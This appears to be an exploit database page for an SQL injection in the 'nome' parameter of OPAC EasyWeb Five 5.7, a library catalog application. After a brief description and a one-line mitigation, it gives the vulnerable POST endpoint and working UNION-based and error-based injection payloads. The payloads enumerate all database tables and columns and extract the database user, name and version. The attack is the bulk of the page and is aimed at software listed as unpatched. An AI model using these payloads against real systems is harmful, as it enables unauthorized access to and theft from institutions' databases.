OPAC EasyWeb Five 5.7 - 'nome' SQL Injection

vendor:

OPAC EasyWeb Five

by:

Ihsan Sencan

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: OPAC EasyWeb Five

Affected Version From: 5.7

Affected Version To: 5.7

Patch Exists: NO

Related CWE: N/A

CPE: a:nexusfi:opac_easyweb_five:5.7

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2018

OPAC EasyWeb Five 5.7 – ‘nome’ SQL Injection

OPAC EasyWeb Five 5.7 is vulnerable to SQL Injection. An attacker can exploit this vulnerability by sending a specially crafted HTTP POST request to the vulnerable application. The POST request contains a malicious SQL query in the 'nome' parameter. This can allow an attacker to gain access to the database and execute arbitrary SQL commands.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: OPAC EasyWeb Five 5.7 - 'nome' SQL Injection
# Dork: N/A
# Exploit Author: Ihsan Sencan
# Date: 2018-10-02
# Vendor Homepage: http://www.nexusfi.it/
# Software Link: http://www.nexusfi.it/easyweb.php
# Version: 5.7
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# POST /easyweb/w7008/index.php?scelta=cerca_biblio&&opac=w7008 HTTP/1.1

nome=') UNION ALL SELECT NULL,NULL,NULL,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
 
nome=') AND ROW(3,6)>(SELECT COUNT(*),CONCAT(CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT (ELT(66=66,1))),FLOOR(RAND(0)*2))x FROM (SELECT 66 UNION SELECT 7030 UNION SELECT 4751 UNION SELECT 1310)a GROUP BY x)-- Efe


http://Target/easyweb/w7008/index.php?scelta=cerca_biblio&&opac=w7008
nome=') UNION ALL SELECT NULL,NULL,NULL,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#